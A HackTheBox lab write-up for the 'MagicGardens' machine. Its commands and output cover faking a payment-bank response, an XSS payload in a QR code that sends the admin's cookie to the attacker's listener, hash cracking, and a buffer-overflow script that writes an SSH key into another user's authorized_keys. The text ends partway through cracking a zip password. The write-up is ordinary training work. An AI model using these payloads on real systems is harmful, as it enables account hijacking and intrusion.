runasdexter
HackTheBox
  • machines
    • Season 7
      • Backfire
      • EscapeTwo
    • Season 6
      • Heal
      • UnderPass
      • LinkVortex
      • BlockBlock
      • Alert
      • Certified
      • Chemistry
      • Instant
      • Yummy
      • Cicada
      • Trickster
      • Caption
      • MonitorsThree
      • Sightless
    • Season 5
      • MagicGardens
  • CHALLENGES
    • AI-ML
      • Easy
      • Medium
      • Hard
    • Blockchain
      • Very Easy
      • Easy
      • Medium
    • Crypto
      • Very Easy
      • Easy
      • Medium
      • Hard
      • Insane
    • Forensics
      • Very Easy
      • Easy
      • Medium
      • Hard
    • GamePwn
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Hardware
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Misc
      • Very Easy
      • Easy
      • Medium
    • Mobile
      • Very Easy
      • Easy
      • Medium
      • Hard
    • OSINT
      • Easy
      • Medium
    • Pwn
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Reversing
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Web
      • Very Easy
      • Easy
      • Medium
      • Hard
  • Cheatsheet
    • Pentest
      • Web Pentesting
    • Tools
Powered by GitBook
On this page
  • Synopsis
  • Enumeration
  • Nmap
  • Docker Registry - Port 5000
  • Web - magicgardens.htb
  • Foothold
  • Getting Subscriptions - magicgardens [ Creating Fake Bank ]
  • Admin Access - Django Admin [ XSS - Cookie Stealing ]
  • Shell - morty
  • Lateral Movement
  • Pillaging - morty [ user ]
  • Pillaging - harvest [ binary ]
  • Shell - alex [ Buffer Overflow ]
  • Pillaging - alex [ user ]
  • Pillaging - auth.zip [ file ]
  • Pillaging - Docker registry [ Port 5000 ]
  • Pivoting
  • Shell - Docker Container [ root - django serialization rce exploit ]
  • Privilege Escalation
  • Pillaging - Docker Container [ root ]
  • Shell - root [ cap_sys_module exploit ]
  • Proof of Concepts
  1. machines
  2. Season 5

MagicGardens

PreviousSeason 5NextAI-ML

Last updated 3 months ago

Synopsis

MagicGardens is a insane linux machine created by . The domain magicgardens.htb contains the django admin. The XSS exploit is used to steal the admin cookie. The django admin panel contains the morty's hash which can be cracked and can ssh into the system as morty. The pillaging reveals that the alex is running the custom binary harvest and morty also has access to it. Reversing the binary and found that it is vulnerable to buffer overflow, which can be used to gain the shell as alex. The user alex has got a mail which contains the auth.zip file which contains the username and hash to access the docker registry. Cracking the hash and dumping the contain of docker registry, the django PickleSerializer is used in the app. It is vulnerable to RCE which will give us the shell as root in docker container. The root in docker container has the capability of cap_sys_module which can be abused to load the kernel model and privilege escalate into systems root.

OS
Difficulty
Points
Release Date
Retired Date

Linux

Insane

50

18-05-2024

08-02-2025


Enumeration

Nmap

Starting the nmap scan reveals that ssh, http, docker registry and other services are running.

nmap -p- -Pn -sC -sV --min-rate=1000 10.10.11.9 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-05 21:52 EST
Warning: 10.10.11.9 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.9
Host is up (0.55s latency).
Not shown: 64603 closed tcp ports (conn-refused), 928 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA)
|_  256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519)
80/tcp   open  http     nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://magicgardens.htb/
1337/tcp open  waste?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, TerminalServer, TerminalServerCookie, X11Probe, afp, giop, ms-sql-s: 
|_    [x] Handshake error
5000/tcp open  ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2023-05-23T11:57:43
|_Not valid after:  2024-05-22T11:57:43
|_http-title: Site doesn't have a title.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.94SVN%I=7%D=2/5%Time=67A4248D%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,15,"\[x\]\x20Handshake\x20error\n\0")%r(GetRequest,15,"\[x
SF:\]\x20Handshake\x20error\n\0")%r(HTTPOptions,15,"\[x\]\x20Handshake\x20
SF:error\n\0")%r(RTSPRequest,15,"\[x\]\x20Handshake\x20error\n\0")%r(RPCCh
SF:eck,15,"\[x\]\x20Handshake\x20error\n\0")%r(DNSVersionBindReqTCP,15,"\[
SF:x\]\x20Handshake\x20error\n\0")%r(DNSStatusRequestTCP,15,"\[x\]\x20Hand
SF:shake\x20error\n\0")%r(Help,15,"\[x\]\x20Handshake\x20error\n\0")%r(Ter
SF:minalServerCookie,15,"\[x\]\x20Handshake\x20error\n\0")%r(X11Probe,15,"
SF:\[x\]\x20Handshake\x20error\n\0")%r(FourOhFourRequest,15,"\[x\]\x20Hand
SF:shake\x20error\n\0")%r(LPDString,15,"\[x\]\x20Handshake\x20error\n\0")%
SF:r(LDAPSearchReq,15,"\[x\]\x20Handshake\x20error\n\0")%r(LDAPBindReq,15,
SF:"\[x\]\x20Handshake\x20error\n\0")%r(LANDesk-RC,15,"\[x\]\x20Handshake\
SF:x20error\n\0")%r(TerminalServer,15,"\[x\]\x20Handshake\x20error\n\0")%r
SF:(NCP,15,"\[x\]\x20Handshake\x20error\n\0")%r(NotesRPC,15,"\[x\]\x20Hand
SF:shake\x20error\n\0")%r(JavaRMI,15,"\[x\]\x20Handshake\x20error\n\0")%r(
SF:ms-sql-s,15,"\[x\]\x20Handshake\x20error\n\0")%r(afp,15,"\[x\]\x20Hands
SF:hake\x20error\n\0")%r(giop,15,"\[x\]\x20Handshake\x20error\n\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 330.42 seconds

Add the magicgardens.htb in /etc/hosts file.

Docker Registry - Port 5000

The docker registry needs the credentials to be accessed and we are unauthorized.

curl -k https://magicgardens.htb:5000/v2/
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":null}]}

Web - magicgardens.htb

The magicgarden is a e-commerce site where we can order flowers online.

The website has product catalog, sign-in features and allows us to search, buy, watchlist and add to cart the products. Purchasing the product gives us the success alert with the below message.

Creating the account and login into the account gives us the option to upgrade our subscription and getting a QR code for 25% discounts on all products.

Clicking the Upgrade button we are presented with payment form where we have to input our credit card details and choose the banks. The banks listed are honestbank.htb, magicbank.htb and plunders.htb.

Submitting the filled form gives up error message.


Foothold

Getting Subscriptions - magicgardens [ Creating Fake Bank ]

1

Changing bank parameter value

Intercepting the subscribe request with burpsuite reveals the bank parameter which I will be going to change it with the nc listener ip and port.

nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.9 38438
POST /api/payments/ HTTP/1.1
Host: 10.10.16.7:8443
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 131
Content-Type: application/json

{"cardname": "dexter", "cardnumber": "1111-2222-3333-4444", "expmonth": "September", "expyear": "2026", "cvv": "352", "amount": 25}

While trying to pay the /api/payments/ POST request is made at the bank.

2

Sending the same request to one of the listed banks

Sending the same POST request to honestbank.htb returns a 402 status.

curl -v honestbank.htb/api/payments/ -d '{"cardname": "dexter", "cardnumber": "1111-2222-3333-4444", "expmonth": "September", "expyear": "2026", "cvv": "420", "amount": 25}'
* Host honestbank.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.9
*   Trying 10.10.11.9:80...
* Connected to honestbank.htb (10.10.11.9) port 80
* using HTTP/1.x
> POST /api/payments/ HTTP/1.1
> Host: honestbank.htb
> User-Agent: curl/8.11.1
> Accept: */*
> Content-Length: 131
> Content-Type: application/x-www-form-urlencoded
> 
* upload completely sent off: 131 bytes
< HTTP/1.1 402 Payment Required
< Server: nginx/1.22.1
< Date: Sun, 09 Feb 2025 09:15:03 GMT
< Content-Type: application/json
< Content-Length: 107
< Connection: keep-alive
< X-Frame-Options: DENY
< X-Content-Type-Options: nosniff
< Referrer-Policy: same-origin
< Cross-Origin-Opener-Policy: same-origin
< 
* Connection #0 to host honestbank.htb left intact
{"status": "402", "message": "Payment Required", "cardname": "dexter", "cardnumber": "1111-2222-3333-4444"}%     
3

Creating python script for changing the status to 200 when the /api/payments POST request is made

update_status.py
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route("/api/payments/", methods=["POST"])
def payments():
    data = request.get_json()
    response = {
        "status": "200",
        "message": "OK",
        "cardname": data["cardname"],
        "cardnumber": data["cardnumber"],
    }
    return jsonify(response)

if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0")
4

Execute the script and send the POST request to /api/payments

curl 127.0.0.1:5000/api/payments/ -H "Content-Type: application/json" -d '{"cardname": "dexter", "cardnumber": "1111-2222-3333-4444", "expmonth": "September", "expyear": "2026", "cvv": "420", "amount": 25}'
{
  "cardname": "dexter",
  "cardnumber": "1111-2222-3333-4444",
  "message": "OK",
  "status": "200"
}
python3 update_status.py
 * Serving Flask app 'update_status'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:5000
 * Running on http://10.2.0.2:5000
Press CTRL+C to quit
 * Restarting with watchdog (inotify)
 * Debugger is active!
 * Debugger PIN: 145-166-082
127.0.0.1 - - [09/Feb/2025 04:48:57] "POST /api/payments/ HTTP/1.1" 200 -

We got the status code 200.

5

Initating payment.

Repeat the subscription process while your python script running and change that bank parameter value to your vpn ip address and port to 5000.

The payment for subscription is completed and we got the QR code.

Admin Access - Django Admin [ XSS - Cookie Stealing ]

1

Decoding the QR code

Download the QR code and decode it using zbarimg

zbarimg qrcode.png
QR-Code:a125a6b2a71e23adc002ac7fbe1a1042.0d341bcdc6746f1d452b3f4de32357b9.dexter
scanned 1 barcode symbols from 1 images in 0.04 seconds

The QR code value has three part and last part contains the username.

2

Buy any products and morty will message asking the qr code for discount.

3

Encode the QR code with the XSS payload.

qrencode "a125a6b2a71e23adc002ac7fbe1a1042.0d341bcdc6746f1d452b3f4de32357b9.dexter<script>img=new Image(); img.src='http://10.10.16.7:8000/?c=' + document.cookie;</script>" -o xss-exp.png
4

Open the python server and send the QR code to morty, we will get the Django admin cookie.

python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.9 - - [09/Feb/2025 10:13:17] "GET /?c=csrftoken=BQdzhHtVrouqNtm0tenhKrmUnQxZDpZD;%20sessionid=.eJxNjU1qwzAQhZNFQgMphZyi3QhLluNoV7rvqgcwkixFbhMJ9EPpotADzHJ63zpuAp7d977Hm5_V7265mO4bH-GuJBO9PBuE1TnE_IWwTlnmksbgLUtrETafQ3LdaUgZYYGwnVCH4rOJ6Naw0TLmfz_SdqKZvu9kya67POqGHmHJEHazTEn9Yfwonvp36Y-B6OBzHBS5VMjVJvIaenN6uXUfZgNOJofwTBttmW0FrU3VcGbMgWlRKcWptIIy2Ryqfa1t0-o9VYqpyrCaG061amuuhcBC_gDes2X7:1th8zo:GDhmDjeeWu1fLsFsA1CLjYdUfg7MXObXlz_M3tWX3Ss HTTP/1.1" 200 -
5

Changing the cookie and getting Django admin access.

Head-over to the Django admin panel and save the cookies using dev tools.

Refresh the page and you will get the access.

Shell - morty

Enumerating the admin panel found the morty's hash in Store users section.

Copying the hash in file and using hashcat to crack it.

hashcat -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 3 7320U with Radeon Graphics, 2553/5170 MB (1024 MB allocatable), 8MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10000 | Django (PBKDF2-SHA256) | Framework

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=:jonasbrothers
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10000 (Django (PBKDF2-SHA256))
Hash.Target......: pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE...+Nl7I=
Time.Started.....: Sun Feb  9 10:28:34 2025 (47 secs)
Time.Estimated...: Sun Feb  9 10:29:21 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       54 H/s (7.73ms) @ Accel:64 Loops:512 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2560/14344385 (0.02%)
Rejected.........: 0/2560 (0.00%)
Restore.Point....: 2048/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:599552-599999
Candidate.Engine.: Device Generator
Candidates.#1....: slimshady -> hassan
Hardware.Mon.#1..: Temp: 93c Util: 93%

Started: Sun Feb  9 10:28:11 2025

Using the password for ssh as user morty gives us access to system via ssh.

ssh morty@10.10.11.9
morty@10.10.11.9's password: 
Linux magicgardens 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb  8 16:28:50 2025 from 10.10.14.64
morty@magicgardens:~$ 

Lateral Movement

Pillaging - morty [ user ]

The ps aux reveals that the user alex is running the harvest command.

morty@magicgardens:~$ ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.3 102192 12396 ?        Ss   Feb08   0:08 /sbin/init
root           2  0.0  0.0      0     0 ?        S    Feb08   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   Feb08   0:00 [rcu_gp]
----- SNIP -----
morty       2073  0.0  1.7 2393280 71332 ?       Sl   Feb08   0:00 /usr/lib/firefox-esr/firefox-esr -contentproc -childID 6 -isForBrowser -prefsLen 27285 -prefMapSize 235228
alex       12544  0.0  0.0   2464   848 ?        S    Feb08   0:00 harvest server -l /home/alex/.harvest_logs
root       17191  0.0  0.0      0     0 ?        I    00:00   0:02 [kworker/0:2-mm_percpu_wq]
----- SNIP -----
morty      25151  0.0  0.1  17524  6576 ?        S    10:30   0:00 sshd: morty@pts/0
morty      25155  0.0  0.0   7196  3908 pts/0    Ss   10:30   0:00 -bash
morty      25202  300  0.1  11216  4472 pts/0    R+   10:34   0:00 ps aux

The harvest binary can be accessed by morty also.

morty@magicgardens:~$ which harvest
/usr/local/bin/harvest

Downloading the harvest binary using the scp for further enumeration.

scp morty@10.10.11.9:/usr/local/bin/harvest ./
morty@10.10.11.9's password: 
harvest                                                                                                                                    100%   22KB  11.0KB/s   00:02 

Pillaging - harvest [ binary ]

Checking the file type of harvest. It is a 64-bit binary and is not stripped.

file harvest
harvest: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=13667f92f8314f1b726e07ce96dd2a4fad06df7f, for GNU/Linux 3.2.0, not stripped

Surfing the web about the harvest doesn't provide any information. The binary is a custom made binary. Running the help command.

./harvest -h

 ██░ ██  ▄▄▄       ██▀███   ██▒   █▓▓█████   ██████ ▄▄▄█████▓
▓██░ ██▒▒████▄    ▓██ ▒ ██▒▓██░   █▒▓█   ▀ ▒██    ▒ ▓  ██▒ ▓▒
▒██▀▀██░▒██  ▀█▄  ▓██ ░▄█ ▒ ▓██  █▒░▒███   ░ ▓██▄   ▒ ▓██░ ▒░
░▓█ ░██ ░██▄▄▄▄██ ▒██▀▀█▄    ▒██ █░░▒▓█  ▄   ▒   ██▒░ ▓██▓ ░ 
░▓█▒░██▓ ▓█   ▓██▒░██▓ ▒██▒   ▒▀█░  ░▒████▒▒██████▒▒  ▒██▒ ░ 
 ▒ ░░▒░▒ ▒▒   ▓▒█░░ ▒▓ ░▒▓░   ░ ▐░  ░░ ▒░ ░▒ ▒▓▒ ▒ ░  ▒ ░░   
 ▒ ░▒░ ░  ▒   ▒▒ ░  ░▒ ░ ▒░   ░ ░░   ░ ░  ░░ ░▒  ░ ░    ░    
 ░  ░░ ░  ░   ▒     ░░   ░      ░░     ░   ░  ░  ░    ░      
 ░  ░  ░      ░  ░   ░           ░     ░  ░      ░           
                                ░                            

harvest v1.0.3 - Remote network analyzer

Usage: harvest <command> [options...]

Commands:
    server          run harvest in server mode
    client          run harvest in client mode

Options:
    -h              show this message
    -l <file>       log file
    -i <interface>  capture packets on this interface

Example:
    harvest server -i eth0
    harvest client 10.10.15.212

It is a remote network analyzer tool. It runs in two mode server and client mode.

Running in the client mode it starts dumping the network packets.

./harvest client 10.10.11.9
[*] Connection to 10.10.11.9 1337 port succeeded
[*] Successful handshake
 --------------------------------------------------
Source:	[00:00:00:00:00:00]	[127.0.0.1]
Dest:	[00:00:00:00:00:00]	[127.0.0.1]
Time:	[20:38:03]	Length:	[0]
--------------------------------------------------
Source:	[00:00:00:00:00:00]	[127.0.0.1]
Dest:	[00:00:00:00:00:00]	[127.0.0.1]
Time:	[20:38:03]	Length:	[0]
--------------------------------------------------
Source:	[00:00:00:00:00:00]	[127.0.0.1]
Dest:	[00:00:00:00:00:00]	[127.0.0.1]
Time:	[20:38:03]	Length:	[0]
--------------------------------------------------
Source:	[00:00:00:00:00:00]	[127.0.0.1]
Dest:	[00:00:00:00:00:00]	[127.0.0.1]
Time:	[20:38:03]	Length:	[0]
--------------------------------------------------
Source:	[00:50:56:b9:69:f1]	[10.10.11.40]
Dest:	[ff:ff:ff:ff:ff:ff]	[255.255.255.255]
Time:	[20:38:03]	Length:	[65535]
--------------------------------------------------
Source:	[00:00:00:00:00:00]	[127.0.0.1]
Dest:	[00:00:00:00:00:00]	[127.0.0.1]
Time:	[20:38:03]	Length:	[0]
----- SNIP -----

Running in server mode requires sudo privilege and it just starts listening to the interface.

sudo ./harvest server -i tun0 
[*] Listening on interface tun0

Reversing the binary with ghidra. If the ghidra is showing the no filesystem provider found while importing the file. Archive the harvest using tar and import the file in ghidra.

Enumerating the function log_packets.

undefined8 log_packet(long param_1,char *param_2)

{
  uint16_t uVar1;
  undefined2 packets [32680];
  char file_name [40];
  FILE *log_file;
  
  uVar1 = htons(*(uint16_t *)(param_1 + 4));
  if (uVar1 != 0) {
    strcpy(file_name,param_2);
    strncpy((char *)packets,(char *)(param_1 + 0x3c),(ulong)uVar1);
    *(undefined2 *)((long)packets + (ulong)uVar1) = 10;
    log_file = fopen(file_name,"w");
    if (log_file == (FILE *)0x0) {
      puts("Bad log file");
    }
    else {
      fprintf(log_file,(char *)packets);
      fclose(log_file);
      puts("[!] Suspicious activity. Packages have been logged.");
    }
  }
  return 0;
}

The file_name buffer with length 40 can be used to overwrite the file by buffer overflowing the packets buffer with length 32680

Shell - alex [ Buffer Overflow ]

Testing

Executing the harvest server and client, then sending the 100 A's character in IPv6 packets.

sudo ./harvest server -l `python3 -c 'print("A"*100)'`
[sudo] password for admin: 
[*] Listening on interface ANY
[*] Successful handshake
[!] Suspicious activity. Packages have been logged.
[1]    134731 segmentation fault  sudo ./harvest server -l `python3 -c 'print("A"*100)'`
./harvest client 127.0.0.1 
[*] Connection to 127.0.0.1 1337 port succeeded
[*] Successful handshake
 --------------------------------------------------
Source:	[56:e2:64:9f:18:75]	[212.102.51.247]
Dest:	[98:25:4a:ed:72:83]	[192.168.104.233]
Time:	[08:31:21]	Length:	[74]
nc -6 fe80::c310:5592:b397:758e%tun0 1337

The segmentation fault error is occurred and the empty file is created with 100 A's character file name.

Executing

I will be adding my ssh public key in alex authorized_keys file through buffer overflow.

1

Create the ssh key

ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/dexter/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/dexter/.ssh/id_rsa
Your public key has been saved in /home/dexter/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:k0nx2Gt/w1Kqd56iwFBIWZEByoP4xTkuKfB0nmFQIes dexter@parrot
The key's randomart image is:
+---[RSA 3072]----+
|  o.o.o+=+       |
| . B +...=       |
|o + % . + o      |
|.= B = o o .     |
|. E + . S o   .  |
| . .   o o . +   |
|        o   + +  |
|         . .oo.o |
|          oo +o  |
+----[SHA256]-----+
2

Create the python script in morty's shell to add public key in authorized_keys

import socket

dst = ("::1", 8443)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(dst)
file_name = b"/home/alex/.ssh/authorized_keys"
data = b"A" * 12
data += b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdx/HrxLsv70mErY5W+4Twq302Kuo1n1Q2Ot1Qi6j9w7AcsGq1EcEH+Nz7lnKomq2pQwiIqURiESHpKkirx4m2kWGw6RMORkxPUvfLOt1mhkoGB49AT90YYvfFexdcYB/iHQef0HN1GiFE5PKYUToSmSFBnimcBaNAZ6RioEj3JUZyqvQtTleWfKJdOYmNVf94B9TfB6IhkBaJ8cLcyz6cykBYuJGmTIFNr9oZXOtkFPyyg09oBm2widzUCywFvqQzJLNRzeW9jtIFJtHPatCUjcdLGAUhmacTSlVplTU8+C3AjAhEnGfbc0KPOWfBtDYX5oLJ/9CI5GQNS4P8TrdLOPo2BuUwr1kQIGuPyVUSe5iqPgs6+HyTwaVmlN77UoyyFoMtO4i5T8AnHGE9dOXORKuMyfkdEx4vPz6AafI0LYySEGjNQyRxF/VZMQZh/nJBcN2JVFXmGYA6ae7BPeJ2XRZXORTJs1vNIo26ZiefDXENM8UXj6wnuTcDSKRegVE= dexter@parrot"
data += b"\n" * (65360 + 12 - len(data))
data += file_name
s.sendto(data, dst)
3

Run the harvest client in your local machine and execute the pwn.py

./harvest client 10.10.11.9
[*] Connection to 10.10.11.9 1337 port succeeded
[*] Successful handshake
 --------------------------------------------------
Source:	[00:50:56:b9:69:f1]	[10.10.11.40]
Dest:	[ff:ff:ff:ff:ff:ff]	[255.255.255.255]
Time:	[10:52:33]	Length:	[65535]
----- SNIP -----
morty@magicgardens:/tmp$ python3 pwn.py

The harvest client is closed by server when executed the pwn.py

----- SNIP -----
Source:	[00:50:56:b9:69:45]	[10.10.11.9]
Dest:	[00:50:56:b9:24:7e]	[10.10.16.7]
Time:	[10:54:18]	Length:	[86]
[!] Connection closed by server
4

SSH into alex using the ssh private key.

ssh -i id_rsa alex@10.10.11.9
Linux magicgardens 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Sat Feb  8 18:29:47 2025 from 10.10.14.64
alex@magicgardens:~$

Pillaging - alex [ user ]

While logging in the message You have mail is given. Checking the mail gives us the auth.zip file which contains the registry configurations and passwords.

alex@magicgardens:~$ cd /var/spool/mail
alex@magicgardens:/var/spool/mail$ ls
alex  root
alex@magicgardens:/var/spool/mail$ cat alex
From root@magicgardens.magicgardens.htb  Fri Sep 29 09:31:49 2023
Return-Path: <root@magicgardens.magicgardens.htb>
X-Original-To: alex@magicgardens.magicgardens.htb
Delivered-To: alex@magicgardens.magicgardens.htb
Received: by magicgardens.magicgardens.htb (Postfix, from userid 0)
	id 3CDA93FC96; Fri, 29 Sep 2023 09:31:49 -0400 (EDT)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="1804289383-1695994309=:37178"
Subject: Auth file for docker
To: <alex@magicgardens.magicgardens.htb>
User-Agent: mail (GNU Mailutils 3.15)
Date: Fri, 29 Sep 2023 09:31:49 -0400
Message-Id: <20230929133149.3CDA93FC96@magicgardens.magicgardens.htb>
From: root <root@magicgardens.magicgardens.htb>

--1804289383-1695994309=:37178
Content-Type: text/plain; charset=UTF-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Content-ID: <20230929093149.37178@magicgardens.magicgardens.htb>

Use this file for registry configuration. The password is on your desk

--1804289383-1695994309=:37178
Content-Type: application/octet-stream; name="auth.zip"
Content-Disposition: attachment; filename="auth.zip"
Content-Transfer-Encoding: base64
Content-ID: <20230929093149.37178.1@magicgardens.magicgardens.htb>

UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE
6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44S
q4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIe
AwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pG
ZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=
--1804289383-1695994309=:37178--

Pillaging - auth.zip [ file ]

Getting Docker registry password

1

Decoding the base64 and unzipping the file

echo "UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44Sq4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIeAwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pGZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=" | base64 -d > auth.zip
unzip auth.zip
Archive:  auth.zip
[auth.zip] htpasswd password: 
   skipping: htpasswd                incorrect password

The file is protected with password.

2

Getting the hash and cracking it

zip2john auth.zip > auth_zip.hash
ver 1.0 efh 5455 efh 7875 auth.zip/htpasswd PKZIP Encr: 2b chk, TS_chk, cmplen=84, decmplen=72, crc=B238A674 ts=A86E cs=a86e type=0
hashcat -a 0 -m 17225 auth_zip.hash /usr/share/wordlists/rockyou.txt --user
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 3 7320U with Radeon Graphics, 2553/5170 MB (1024 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Not-Iterated
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

$pkzip$1*2*2*0*54*48*b238a674*0*42*0*54*a86e*55bfb1d475afb746692439ee9c951465cbc9afce77d2292fdfd18cd61c542dc1497d32cb3578045b64dd514dee678e12ab82fa65c73b1e6500d38d628e389d306f6249ed0cff2d6d7f6ce331583a0db7350127c9*$/pkzip$:realmadrid
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 17225 (PKZIP (Mixed Multi-File))
Hash.Target......: $pkzip$1*2*2*0*54*48*b238a674*0*42*0*54*a86e*55bfb1...pkzip$
Time.Started.....: Mon Feb 10 11:16:11 2025 (0 secs)
